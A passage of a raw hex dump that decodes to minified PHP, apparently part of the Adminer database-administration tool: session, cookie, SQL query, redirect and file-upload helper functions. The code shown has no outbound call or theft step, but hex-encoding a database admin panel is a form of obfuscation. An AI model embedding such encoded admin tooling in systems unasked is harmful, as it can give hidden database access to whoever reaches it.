75 6C 6C 29 7B 73 74 61 74 69 63 24 6B 63 3D 74 72 75 65 3B 69 66 28 24
6B 63 29 65 63 68 6F 22 7B 22 3B 69 66 28 24 79 21 3D 22 22 29 7B 65 63
68 6F 28 24 6B 63 3F 22 22 3A 22 2C 22 29 2E 22 5C 6E 5C 74 5C 22 22 2E
61 64 64 63 73 6C 61 73 68 65 73 28 24 79 2C 22 5C 72 5C 6E 5C 22 5C 5C
22 29 2E 27 22 3A 20 27 2E 28 24 58 21 3D 3D 6E 75 6C 6C 3F 27 22 27 2E
61 64 64 63 73 6C 61 73 68 65 73 28 24 58 2C 22 5C 72 5C 6E 5C 22 5C 5C
22 29 2E 27 22 27 3A 27 75 6E 64 65 66 69 6E 65 64 27 29 3B 24 6B 63 3D
66 61 6C 73 65 3B 7D 65 6C 73 65 7B 65 63 68 6F 22 5C 6E 7D 5C 6E 22 3B
24 6B 63 3D 74 72 75 65 3B 7D 7D 66 75 6E 63 74 69 6F 6E 0A 69 6E 69 5F
62 6F 6F 6C 28 24 4B 63 29 7B 24 58 3D 69 6E 69 5F 67 65 74 28 24 4B 63
29 3B 72 65 74 75 72 6E 28 65 72 65 67 69 28 27 5E 28 6F 6E 7C 74 72 75
65 7C 79 65 73 29 24 27 2C 24 58 29 7C 7C 28 69 6E 74 29 24 58 29 3B 7D
66 75 6E 63 74 69 6F 6E 0A 73 69 64 28 29 7B 73 74 61 74 69 63 24 4B 3B
69 66 28 24 4B 3D 3D 3D 6E 75 6C 6C 29 24 4B 3D 28 53 49 44 26 26 21 28
24 5F 43 4F 4F 4B 49 45 26 26 69 6E 69 5F 62 6F 6F 6C 28 22 73 65 73 73
69 6F 6E 2E 75 73 65 5F 63 6F 6F 6B 69 65 73 22 29 29 29 3B 72 65 74 75
72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 71 28 24 71 66 29 7B 67 6C
6F 62 61 6C 24 67 3B 72 65 74 75 72 6E 24 67 2D 3E 71 75 6F 74 65 28 24
71 66 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 67 65 74 5F 76 61 6C 73 28 24
49 2C 24 65 3D 30 29 7B 67 6C 6F 62 61 6C 24 67 3B 24 4B 3D 61 72 72 61
79 28 29 3B 24 4A 3D 24 67 2D 3E 71 75 65 72 79 28 24 49 29 3B 69 66 28
69 73 5F 6F 62 6A 65 63 74 28 24 4A 29 29 7B 77 68 69 6C 65 28 24 4C 3D
24 4A 2D 3E 66 65 74 63 68 5F 72 6F 77 28 29 29 24 4B 5B 5D 3D 24 4C 5B
24 65 5D 3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A
67 65 74 5F 6B 65 79 5F 76 61 6C 73 28 24 49 2C 24 68 3D 6E 75 6C 6C 29
7B 67 6C 6F 62 61 6C 24 67 3B 69 66 28 21 69 73 5F 6F 62 6A 65 63 74 28
24 68 29 29 24 68 3D 24 67 3B 24 4B 3D 61 72 72 61 79 28 29 3B 24 4A 3D
24 68 2D 3E 71 75 65 72 79 28 24 49 29 3B 69 66 28 69 73 5F 6F 62 6A 65
63 74 28 24 4A 29 29 7B 77 68 69 6C 65 28 24 4C 3D 24 4A 2D 3E 66 65 74
63 68 5F 72 6F 77 28 29 29 24 4B 5B 24 4C 5B 30 5D 5D 3D 24 4C 5B 31 5D
3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 67 65 74
5F 72 6F 77 73 28 24 49 2C 24 68 3D 6E 75 6C 6C 2C 24 6C 3D 22 3C 70 20
63 6C 61 73 73 3D 27 65 72 72 6F 72 27 3E 22 29 7B 67 6C 6F 62 61 6C 24
67 3B 24 59 61 3D 28 69 73 5F 6F 62 6A 65 63 74 28 24 68 29 3F 24 68 3A
24 67 29 3B 24 4B 3D 61 72 72 61 79 28 29 3B 24 4A 3D 24 59 61 2D 3E 71
75 65 72 79 28 24 49 29 3B 69 66 28 69 73 5F 6F 62 6A 65 63 74 28 24 4A
29 29 7B 77 68 69 6C 65 28 24 4C 3D 24 4A 2D 3E 66 65 74 63 68 5F 61 73
73 6F 63 28 29 29 24 4B 5B 5D 3D 24 4C 3B 7D 65 6C 73 65 69 66 28 21 24
4A 26 26 21 69 73 5F 6F 62 6A 65 63 74 28 24 68 29 26 26 24 6C 26 26 64
65 66 69 6E 65 64 28 22 50 41 47 45 5F 48 45 41 44 45 52 22 29 29 65 63
68 6F 24 6C 2E 65 72 72 6F 72 28 29 2E 22 5C 6E 22 3B 72 65 74 75 72 6E
24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 75 6E 69 71 75 65 5F 61 72 72 61
79 28 24 4C 2C 24 76 29 7B 66 6F 72 65 61 63 68 28 24 76 0A 61 73 24 75
29 7B 69 66 28 65 72 65 67 28 22 50 52 49 4D 41 52 59 7C 55 4E 49 51 55
45 22 2C 24 75 5B 22 74 79 70 65 22 5D 29 29 7B 24 4B 3D 61 72 72 61 79
28 29 3B 66 6F 72 65 61 63 68 28 24 75 5B 22 63 6F 6C 75 6D 6E 73 22 5D
61 73 24 79 29 7B 69 66 28 21 69 73 73 65 74 28 24 4C 5B 24 79 5D 29 29
63 6F 6E 74 69 6E 75 65 0A 32 3B 24 4B 5B 24 79 5D 3D 24 4C 5B 24 79 5D
3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 7D 7D 66 75 6E 63 74 69 6F 6E 0A 77
68 65 72 65 28 24 5A 2C 24 6E 3D 61 72 72 61 79 28 29 29 7B 67 6C 6F 62
61 6C 24 78 3B 24 4B 3D 61 72 72 61 79 28 29 3B 24 75 63 3D 27 28 5E 5B
5C 77 5C 28 5D 2B 27 2E 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5F 22 2C
22 2E 2A 22 2C 70 72 65 67 5F 71 75 6F 74 65 28 69 64 66 5F 65 73 63 61
70 65 28 22 5F 22 29 29 29 2E 27 5C 29 2B 24 29 27 3B 66 6F 72 65 61 63
68 28 28 61 72 72 61 79 29 24 5A 5B 22 77 68 65 72 65 22 5D 61 73 24 79
3D 3E 24 58 29 7B 24 79 3D 62 72 61 63 6B 65 74 5F 65 73 63 61 70 65 28
24 79 2C 31 29 3B 24 65 3D 28 70 72 65 67 5F 6D 61 74 63 68 28 24 75 63
2C 24 79 29 3F 24 79 3A 69 64 66 5F 65 73 63 61 70 65 28 24 79 29 29 3B
24 4B 5B 5D 3D 24 65 2E 28 28 24 78 3D 3D 22 73 71 6C 22 26 26 65 72 65
67 28 27 5E 5B 30 2D 39 5D 2A 5C 5C 2E 5B 30 2D 39 5D 2A 24 27 2C 24 58
29 29 7C 7C 24 78 3D 3D 22 6D 73 73 71 6C 22 3F 22 20 4C 49 4B 45 20 22
2E 71 28 61 64 64 63 73 6C 61 73 68 65 73 28 24 58 2C 22 25 5F 5C 5C 22
29 29 3A 22 20 3D 20 22 2E 75 6E 63 6F 6E 76 65 72 74 5F 66 69 65 6C 64
28 24 6E 5B 24 79 5D 2C 71 28 24 58 29 29 29 3B 69 66 28 24 78 3D 3D 22
73 71 6C 22 26 26 65 72 65 67 28 22 5B 5E 20 2D 40 5D 22 2C 24 58 29 29
24 4B 5B 5D 3D 22 24 65 20 3D 20 22 2E 71 28 24 58 29 2E 22 20 43 4F 4C
4C 41 54 45 20 75 74 66 38 5F 62 69 6E 22 3B 7D 66 6F 72 65 61 63 68 28
28 61 72 72 61 79 29 24 5A 5B 22 6E 75 6C 6C 22 5D 61 73 24 79 29 24 4B
5B 5D 3D 28 70 72 65 67 5F 6D 61 74 63 68 28 24 75 63 2C 24 79 29 3F 24
79 3A 69 64 66 5F 65 73 63 61 70 65 28 24 79 29 29 2E 22 20 49 53 20 4E
55 4C 4C 22 3B 72 65 74 75 72 6E 0A 69 6D 70 6C 6F 64 65 28 22 20 41 4E
44 20 22 2C 24 4B 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 77 68 65 72 65 5F
63 68 65 63 6B 28 24 58 2C 24 6E 3D 61 72 72 61 79 28 29 29 7B 70 61 72
73 65 5F 73 74 72 28 24 58 2C 24 49 61 29 3B 72 65 6D 6F 76 65 5F 73 6C
61 73 68 65 73 28 61 72 72 61 79 28 26 24 49 61 29 29 3B 72 65 74 75 72
6E 0A 77 68 65 72 65 28 24 49 61 2C 24 6E 29 3B 7D 66 75 6E 63 74 69 6F
6E 0A 77 68 65 72 65 5F 6C 69 6E 6B 28 24 73 2C 24 65 2C 24 59 2C 24 52
64 3D 22 3D 22 29 7B 72 65 74 75 72 6E 22 26 77 68 65 72 65 25 35 42 24
73 25 35 44 25 35 42 63 6F 6C 25 35 44 3D 22 2E 75 72 6C 65 6E 63 6F 64
65 28 24 65 29 2E 22 26 77 68 65 72 65 25 35 42 24 73 25 35 44 25 35 42
6F 70 25 35 44 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 28 24 59 21 3D 3D
6E 75 6C 6C 3F 24 52 64 3A 22 49 53 20 4E 55 4C 4C 22 29 29 2E 22 26 77
68 65 72 65 25 35 42 24 73 25 35 44 25 35 42 76 61 6C 25 35 44 3D 22 2E
75 72 6C 65 6E 63 6F 64 65 28 24 59 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A
63 6F 6E 76 65 72 74 5F 66 69 65 6C 64 73 28 24 66 2C 24 6E 2C 24 4E 3D
61 72 72 61 79 28 29 29 7B 24 4B 3D 22 22 3B 66 6F 72 65 61 63 68 28 24
66 0A 61 73 24 79 3D 3E 24 58 29 7B 69 66 28 24 4E 26 26 21 69 6E 5F 61
72 72 61 79 28 69 64 66 5F 65 73 63 61 70 65 28 24 79 29 2C 24 4E 29 29
63 6F 6E 74 69 6E 75 65 3B 24 73 61 3D 63 6F 6E 76 65 72 74 5F 66 69 65
6C 64 28 24 6E 5B 24 79 5D 29 3B 69 66 28 24 73 61 29 24 4B 2E 3D 22 2C
20 24 73 61 20 41 53 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 79 29
3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 63 6F 6F
6B 69 65 28 24 45 2C 24 59 29 7B 67 6C 6F 62 61 6C 24 62 61 3B 24 67 65
3D 61 72 72 61 79 28 24 45 2C 28 65 72 65 67 28 22 5C 6E 22 2C 24 59 29
3F 22 22 3A 24 59 29 2C 74 69 6D 65 28 29 2B 32 35 39 32 30 30 30 2C 70
72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 5C 5C 3F 2E 2A 7E 27 2C 27 27
2C 24 5F 53 45 52 56 45 52 5B 22 52 45 51 55 45 53 54 5F 55 52 49 22 5D
29 2C 22 22 2C 24 62 61 29 3B 69 66 28 76 65 72 73 69 6F 6E 5F 63 6F 6D
70 61 72 65 28 50 48 50 5F 56 45 52 53 49 4F 4E 2C 27 35 2E 32 2E 30 27
29 3E 3D 30 29 24 67 65 5B 5D 3D 74 72 75 65 3B 72 65 74 75 72 6E 0A 63
61 6C 6C 5F 75 73 65 72 5F 66 75 6E 63 5F 61 72 72 61 79 28 27 73 65 74
63 6F 6F 6B 69 65 27 2C 24 67 65 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 72
65 73 74 61 72 74 5F 73 65 73 73 69 6F 6E 28 29 7B 69 66 28 21 69 6E 69
5F 62 6F 6F 6C 28 22 73 65 73 73 69 6F 6E 2E 75 73 65 5F 63 6F 6F 6B 69
65 73 22 29 29 73 65 73 73 69 6F 6E 5F 73 74 61 72 74 28 29 3B 7D 66 75
6E 63 74 69 6F 6E 0A 73 74 6F 70 5F 73 65 73 73 69 6F 6E 28 29 7B 69 66
28 21 69 6E 69 5F 62 6F 6F 6C 28 22 73 65 73 73 69 6F 6E 2E 75 73 65 5F
63 6F 6F 6B 69 65 73 22 29 29 73 65 73 73 69 6F 6E 5F 77 72 69 74 65 5F
63 6C 6F 73 65 28 29 3B 7D 66 75 6E 63 74 69 6F 6E 26 67 65 74 5F 73 65
73 73 69 6F 6E 28 24 79 29 7B 72 65 74 75 72 6E 24 5F 53 45 53 53 49 4F
4E 5B 24 79 5D 5B 44 52 49 56 45 52 5D 5B 53 45 52 56 45 52 5D 5B 24 5F
47 45 54 5B 22 75 73 65 72 6E 61 6D 65 22 5D 5D 3B 7D 66 75 6E 63 74 69
6F 6E 0A 73 65 74 5F 73 65 73 73 69 6F 6E 28 24 79 2C 24 58 29 7B 24 5F
53 45 53 53 49 4F 4E 5B 24 79 5D 5B 44 52 49 56 45 52 5D 5B 53 45 52 56
45 52 5D 5B 24 5F 47 45 54 5B 22 75 73 65 72 6E 61 6D 65 22 5D 5D 3D 24
58 3B 7D 66 75 6E 63 74 69 6F 6E 0A 61 75 74 68 5F 75 72 6C 28 24 79 62
2C 24 4F 2C 24 56 2C 24 6B 3D 6E 75 6C 6C 29 7B 67 6C 6F 62 61 6C 24 7A
62 3B 70 72 65 67 5F 6D 61 74 63 68 28 27 7E 28 5B 5E 3F 5D 2A 29 5C 5C
3F 3F 28 2E 2A 29 7E 27 2C 72 65 6D 6F 76 65 5F 66 72 6F 6D 5F 75 72 69
28 69 6D 70 6C 6F 64 65 28 22 7C 22 2C 61 72 72 61 79 5F 6B 65 79 73 28
24 7A 62 29 29 2E 22 7C 75 73 65 72 6E 61 6D 65 7C 22 2E 28 24 6B 21 3D
3D 6E 75 6C 6C 3F 22 64 62 7C 22 3A 22 22 29 2E 73 65 73 73 69 6F 6E 5F
6E 61 6D 65 28 29 29 2C 24 42 29 3B 72 65 74 75 72 6E 22 24 42 5B 31 5D
3F 22 2E 28 73 69 64 28 29 3F 53 49 44 2E 22 26 22 3A 22 22 29 2E 28 24
79 62 21 3D 22 73 65 72 76 65 72 22 7C 7C 24 4F 21 3D 22 22 3F 75 72 6C
65 6E 63 6F 64 65 28 24 79 62 29 2E 22 3D 22 2E 75 72 6C 65 6E 63 6F 64
65 28 24 4F 29 2E 22 26 22 3A 22 22 29 2E 22 75 73 65 72 6E 61 6D 65 3D
22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 56 29 2E 28 24 6B 21 3D 22 22 3F
22 26 64 62 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 6B 29 3A 22 22 29
2E 28 24 42 5B 32 5D 3F 22 26 24 42 5B 32 5D 22 3A 22 22 29 3B 7D 66 75
6E 63 74 69 6F 6E 0A 69 73 5F 61 6A 61 78 28 29 7B 72 65 74 75 72 6E 28
24 5F 53 45 52 56 45 52 5B 22 48 54 54 50 5F 58 5F 52 45 51 55 45 53 54
45 44 5F 57 49 54 48 22 5D 3D 3D 22 58 4D 4C 48 74 74 70 52 65 71 75 65
73 74 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 72 65 64 69 72 65 63 74 28
24 41 2C 24 43 3D 6E 75 6C 6C 29 7B 69 66 28 24 43 21 3D 3D 6E 75 6C 6C
29 7B 72 65 73 74 61 72 74 5F 73 65 73 73 69 6F 6E 28 29 3B 24 5F 53 45
53 53 49 4F 4E 5B 22 6D 65 73 73 61 67 65 73 22 5D 5B 70 72 65 67 5F 72
65 70 6C 61 63 65 28 27 7E 5E 5B 5E 3F 5D 2A 7E 27 2C 27 27 2C 28 24 41
21 3D 3D 6E 75 6C 6C 3F 24 41 3A 24 5F 53 45 52 56 45 52 5B 22 52 45 51
55 45 53 54 5F 55 52 49 22 5D 29 29 5D 5B 5D 3D 24 43 3B 7D 69 66 28 24
41 21 3D 3D 6E 75 6C 6C 29 7B 69 66 28 24 41 3D 3D 22 22 29 24 41 3D 22
2E 22 3B 68 65 61 64 65 72 28 22 4C 6F 63 61 74 69 6F 6E 3A 20 24 41 22
29 3B 65 78 69 74 3B 7D 7D 66 75 6E 63 74 69 6F 6E 0A 71 75 65 72 79 5F
72 65 64 69 72 65 63 74 28 24 49 2C 24 41 2C 24 43 2C 24 47 65 3D 74 72
75 65 2C 24 58 62 3D 74 72 75 65 2C 24 64 63 3D 66 61 6C 73 65 29 7B 67
6C 6F 62 61 6C 24 67 2C 24 6C 2C 24 62 3B 24 4B 66 3D 22 22 3B 69 66 28
24 58 62 29 7B 24 6D 66 3D 6D 69 63 72 6F 74 69 6D 65 28 29 3B 24 64 63
3D 21 24 67 2D 3E 71 75 65 72 79 28 24 49 29 3B 24 4B 66 3D 22 3B 20 2D
2D 20 22 2E 66 6F 72 6D 61 74 5F 74 69 6D 65 28 24 6D 66 2C 6D 69 63 72
6F 74 69 6D 65 28 29 29 3B 7D 24 6C 66 3D 22 22 3B 69 66 28 24 49 29 24
6C 66 3D 24 62 2D 3E 6D 65 73 73 61 67 65 51 75 65 72 79 28 24 49 2E 24
4B 66 29 3B 69 66 28 24 64 63 29 7B 24 6C 3D 65 72 72 6F 72 28 29 2E 24
6C 66 3B 72 65 74 75 72 6E 0A 66 61 6C 73 65 3B 7D 69 66 28 24 47 65 29
72 65 64 69 72 65 63 74 28 24 41 2C 24 43 2E 24 6C 66 29 3B 72 65 74 75
72 6E 0A 74 72 75 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A 71 75 65 72 69 65
73 28 24 49 3D 6E 75 6C 6C 29 7B 67 6C 6F 62 61 6C 24 67 3B 73 74 61 74
69 63 24 44 65 3D 61 72 72 61 79 28 29 3B 69 66 28 24 49 3D 3D 3D 6E 75
6C 6C 29 72 65 74 75 72 6E 0A 69 6D 70 6C 6F 64 65 28 22 5C 6E 22 2C 24
44 65 29 3B 24 6D 66 3D 6D 69 63 72 6F 74 69 6D 65 28 29 3B 24 4B 3D 24
67 2D 3E 71 75 65 72 79 28 24 49 29 3B 24 44 65 5B 5D 3D 28 65 72 65 67
28 27 3B 24 27 2C 24 49 29 3F 22 44 45 4C 49 4D 49 54 45 52 20 3B 3B 5C
6E 24 49 3B 5C 6E 44 45 4C 49 4D 49 54 45 52 20 22 3A 24 49 29 2E 22 3B
20 2D 2D 20 22 2E 66 6F 72 6D 61 74 5F 74 69 6D 65 28 24 6D 66 2C 6D 69
63 72 6F 74 69 6D 65 28 29 29 3B 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E
63 74 69 6F 6E 0A 61 70 70 6C 79 5F 71 75 65 72 69 65 73 28 24 49 2C 24
53 2C 24 53 62 3D 27 74 61 62 6C 65 27 29 7B 66 6F 72 65 61 63 68 28 24
53 0A 61 73 24 51 29 7B 69 66 28 21 71 75 65 72 69 65 73 28 22 24 49 20
22 2E 24 53 62 28 24 51 29 29 29 72 65 74 75 72 6E 0A 66 61 6C 73 65 3B
7D 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A 71
75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28 24 41 2C 24 43 2C 24 47
65 29 7B 72 65 74 75 72 6E 0A 71 75 65 72 79 5F 72 65 64 69 72 65 63 74
28 71 75 65 72 69 65 73 28 29 2C 24 41 2C 24 43 2C 24 47 65 2C 66 61 6C
73 65 2C 21 24 47 65 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 66 6F 72 6D 61
74 5F 74 69 6D 65 28 24 6D 66 2C 24 4D 62 29 7B 72 65 74 75 72 6E 0A 73
70 72 69 6E 74 66 28 27 25 2E 33 66 20 73 27 2C 6D 61 78 28 30 2C 61 72
72 61 79 5F 73 75 6D 28 65 78 70 6C 6F 64 65 28 22 20 22 2C 24 4D 62 29
29 2D 61 72 72 61 79 5F 73 75 6D 28 65 78 70 6C 6F 64 65 28 22 20 22 2C
24 6D 66 29 29 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 72 65 6D 6F 76 65
5F 66 72 6F 6D 5F 75 72 69 28 24 66 65 3D 22 22 29 7B 72 65 74 75 72 6E
0A 73 75 62 73 74 72 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 7E 28
3F 3C 3D 5B 3F 26 5D 29 28 24 66 65 22 2E 28 53 49 44 3F 22 22 3A 22 7C
22 2E 73 65 73 73 69 6F 6E 5F 6E 61 6D 65 28 29 29 2E 22 29 3D 5B 5E 26
5D 2A 26 7E 22 2C 27 27 2C 22 24 5F 53 45 52 56 45 52 5B 52 45 51 55 45
53 54 5F 55 52 49 5D 26 22 29 2C 30 2C 2D 31 29 3B 7D 66 75 6E 63 74 69
6F 6E 0A 70 61 67 69 6E 61 74 69 6F 6E 28 24 46 2C 24 68 62 29 7B 72 65
74 75 72 6E 22 20 22 2E 28 24 46 3D 3D 24 68 62 3F 24 46 2B 31 3A 27 3C
61 20 68 72 65 66 3D 22 27 2E 68 28 72 65 6D 6F 76 65 5F 66 72 6F 6D 5F
75 72 69 28 22 70 61 67 65 22 29 2E 28 24 46 3F 22 26 70 61 67 65 3D 24
46 22 3A 22 22 29 29 2E 27 22 3E 27 2E 28 24 46 2B 31 29 2E 22 3C 2F 61
3E 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 67 65 74 5F 66 69 6C 65 28 24
79 2C 24 6F 62 3D 66 61 6C 73 65 29 7B 24 68 63 3D 24 5F 46 49 4C 45 53
5B 24 79 5D 3B 69 66 28 21 24 68 63 29 72 65 74 75 72 6E 0A 6E 75 6C 6C
3B 66 6F 72 65 61 63 68 28 24 68 63 0A 61 73 24 79 3D 3E 24 58 29 24 68
63 5B 24 79 5D 3D 28 61 72 72 61 79 29 24 58 3B 24 4B 3D 27 27 3B 66 6F
72 65 61 63 68 28 24 68 63 5B 22 65 72 72 6F 72 22 5D 61 73 24 79 3D 3E
24 6C 29 7B 69 66 28 24 6C 29 72 65 74 75 72 6E 24 6C 3B 24 45 3D 24 68
63 5B 22 6E 61 6D 65 22 5D 5B 24 79 5D 3B 24 52 66 3D 24 68 63 5B 22 74
6D 70 5F 6E 61 6D 65 22 5D 5B 24 79 5D 3B 24 5A 61 3D 66 69 6C 65 5F 67
65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 6F 62 26 26 65 72 65 67 28 27 5C
5C 2E 67 7A 24 27 2C 24 45 29 3F 22 63 6F 6D 70 72 65 73 73 2E 7A 6C 69
62 3A 2F 2F 24 52 66 22 3A 24 52 66 29 3B 69 66 28 24 6F 62 29 7B 24 6D
66 3D 73 75 62 73 74 72 28 24 5A 61 2C 30 2C 33 29 3B 69 66 28 66 75 6E
63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 69 63 6F 6E 76 22 29 26 26 65
72 65 67 28 22 5E 5C 78 46 45 5C 78 46 46 7C 5E 5C 78 46 46 5C 78 46 45
22 2C 24 6D 66 2C 24 4E 65 29 29 24 5A 61 3D 69 63 6F 6E 76 28 22 75 74
66 2D 31 36 22 2C 22 75 74 66 2D 38 22 2C 24 5A 61 29 3B 65 6C 73 65 69
66 28 24 6D 66 3D 3D 22 5C 78 45 46 5C 78 42 42 5C 78 42 46 22 29 24 5A
61 3D 73 75 62 73 74 72 28 24 5A 61 2C 33 29 3B 7D 24 4B 2E 3D 24 5A 61
2E 22 5C 6E 5C 6E 22 3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74
69 6F 6E 0A 75 70 6C 6F 61 64 5F 65 72 72 6F 72 28 24 6C 29 7B 24 71 64
3D 28 24 6C 3D 3D 55 50 4C 4F 41 44 5F 45 52 52 5F 49 4E 49 5F 53 49 5A
45 3F 69 6E 69 5F 67 65 74 28 22 75 70 6C 6F 61 64 5F 6D 61 78 5F 66 69
6C 65 73 69 7A 65 22 29 3A 30 29 3B 72 65 74 75 72 6E 28 24 6C 3F 27 55
6E 61 62 6C 65 20 74 6F 20 75 70 6C 6F 61 64 20 61 20 66 69 6C 65 2E 27
2E 28 24 71 64 3F 22 20 22 2E 73 70 72 69 6E 74 66 28 27 4D 61 78 69 6D
75 6D 20 61 6C 6C 6F 77 65 64 20 66 69 6C 65 20 73 69 7A 65 20 69 73 20
25 73 42 2E 27 2C 24 71 64 29 3A 22 22 29 3A 27 46 69 6C 65 20 64 6F 65
73 20 6E 6F 74 20 65 78 69 73 74 2E 27 29 3B 7D 66 75 6E 63 74 69 6F 6E
0A 72 65 70 65 61 74 5F 70 61 74 74 65 72 6E 28 24 47 2C 24 66 64 29 7B
72 65 74 75 72 6E 0A 73 74 72 5F 72 65 70 65 61 74 28 22 24 47 7B 30 2C
36 35 35 33 35 7D 22 2C 24 66 64 2F 36 35 35 33 35 29 2E 22 24 47 7B 30
2C 22 2E 28 24 66 64 25 36 35 35 33 35 29 2E 22 7D 22 3B 7D 66 75 6E 63
74 69 6F 6E 0A 69 73 5F 75 74 66 38 28 24 58 29 7B 72 65 74 75 72 6E 28
70 72 65 67 5F 6D 61 74 63 68 28 27 7E 7E 75 27 2C 24 58 29 26 26 21 70
72 65 67 5F 6D 61 74 63 68 28 27 7E 5B 5C 5C 30 2D 5C 5C 78 38 5C 5C 78
42 5C 5C 78 43 5C 5C 78 45 2D 5C 5C 78 31 46 5D 7E 27 2C 24 58 29 29 3B
7D 66 75 6E 63 74 69 6F 6E 0A 73 68 6F 72 74 65 6E 5F 75 74 66 38 28 24
71 66 2C 24 66 64 3D 38 30 2C 24 75 66 3D 22 22 29 7B 69 66 28 21 70 72
65 67 5F 6D 61 74 63 68 28 22 28 5E 28 22 2E 72 65 70 65 61 74 5F 70 61
74 74 65 72 6E 28 22 5B 5C 74 5C 72 5C 6E 20 2D 5C 78 7B 46 46 46 46 7D
5D 22 2C 24 66 64 29 2E 22 29 28 24 29 3F 29 75 22 2C 24 71 66 2C 24 42
29 29 70 72 65 67 5F 6D 61 74 63 68 28 22 28 5E 28 22 2E 72 65 70 65 61
74 5F 70 61 74 74 65 72 6E 28 22 5B 5C 74 5C 72 5C 6E 20 2D 7E 5D 22 2C
24 66 64 29 2E 22 29 28 24 29 3F 29 22 2C 24 71 66 2C 24 42 29 3B 72 65
74 75 72 6E 0A 68 28 24 42 5B 31 5D 29 2E 24 75 66 2E 28 69 73 73 65 74
28 24 42 5B 32 5D 29 3F 22 22 3A 22 3C 69 3E 2E 2E 2E 3C 2F 69 3E 22 29
3B 7D 66 75 6E 63 74 69 6F 6E 0A 66 72 69 65 6E 64 6C 79 5F 75 72 6C 28
24 58 29 7B 72 65 74 75 72 6E 0A 70 72 65 67 5F 72 65 70 6C 61 63 65 28
27 7E 5B 5E 61 2D 7A 30 2D 39 5F 5D 7E 69 27 2C 27 2D 27 2C 24 58 29 3B
7D 66 75 6E 63 74 69 6F 6E 0A 68 69 64 64 65 6E 5F 66 69 65 6C 64 73 28
24 41 65 2C 24 48 63 3D 61 72 72 61 79 28 29 29 7B 77 68 69 6C 65 28 6C
69 73 74 28 24 79 2C 24 58 29 3D 65 61 63 68 28 24 41 65 29 29 7B 69 66
28 69 73 5F 61 72 72 61 79 28 24 58 29 29 7B 66 6F 72 65 61 63 68 28 24
58 0A 61 73 24 54 63 3D 3E 24 57 29 24 41 65 5B 24 79 2E 22 5B 24 54 63
5D 22 5D 3D 24 57 3B 7D 65 6C 73 65 69 66 28 21 69 6E 5F 61 72 72 61 79
28 24 79 2C 24 48 63 29 29 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70
65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 27 2E 68 28 24 79 29
2E 27 22 20 76 61 6C 75 65 3D 22 27 2E 68 28 24 58 29 2E 27 22 3E 27 3B
7D 7D 66 75 6E 63 74 69 6F 6E 0A 68 69 64 64 65 6E 5F 66 69 65 6C 64 73
5F 67 65 74 28 29 7B 65 63 68 6F 28 73 69 64 28 29 3F 27 3C 69 6E 70 75
74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 27 2E
73 65 73 73 69 6F 6E 5F 6E 61 6D 65 28 29 2E 27 22 20 76 61 6C 75 65 3D
22 27 2E 68 28 73 65 73 73 69 6F 6E 5F 69 64 28 29 29 2E 27 22 3E 27 3A
27 27 29 2C 28 53 45 52 56 45 52 21 3D 3D 6E 75 6C 6C 3F 27 3C 69 6E 70
75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 27
2E 44 52 49 56 45 52 2E 27 22 20 76 61 6C 75 65 3D 22 27 2E 68 28 53 45
52 56 45 52 29 2E 27 22 3E 27 3A 22 22 29 2C 27 3C 69 6E 70 75 74 20 74
79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 75 73 65 72 6E
61 6D 65 22 20 76 61 6C 75 65 3D 22 27 2E 68 28 24 5F 47 45 54 5B 22 75
73 65 72 6E 61 6D 65 22 5D 29 2E 27 22 3E 27 3B 7D 66 75 6E 63 74 69 6F
6E 0A 74 61 62 6C 65 5F 73 74 61 74 75 73 31 28 24 51 2C 24 65 63 3D 66
61 6C 73 65 29 7B 24 4B 3D 74 61 62 6C 65 5F 73 74 61 74 75 73 28 24 51
2C 24 65 63 29 3B 72 65 74 75 72 6E 28 24 4B 3F 24 4B 3A 61 72 72 61 79
28 22 4E 61 6D 65 22 3D 3E 24 51 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A
63 6F 6C 75 6D 6E 5F 66 6F 72 65 69 67 6E 5F 6B 65 79 73 28 24 51 29 7B
67 6C 6F 62 61 6C 24 62 3B 24 4B 3D 61 72 72 61 79 28 29 3B 66 6F 72 65
61 63 68 28 24 62 2D 3E 66 6F 72 65 69 67 6E 4B 65 79 73 28 24 51 29 61
73 24 6F 29 7B 66 6F 72 65 61 63 68 28 24 6F 5B 22 73 6F 75 72 63 65 22
5D 61 73 24 58 29 24 4B 5B 24 58 5D 5B 5D 3D 24 6F 3B 7D 72 65 74 75 72
6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 65 6E 75 6D 5F 69 6E 70 75 74
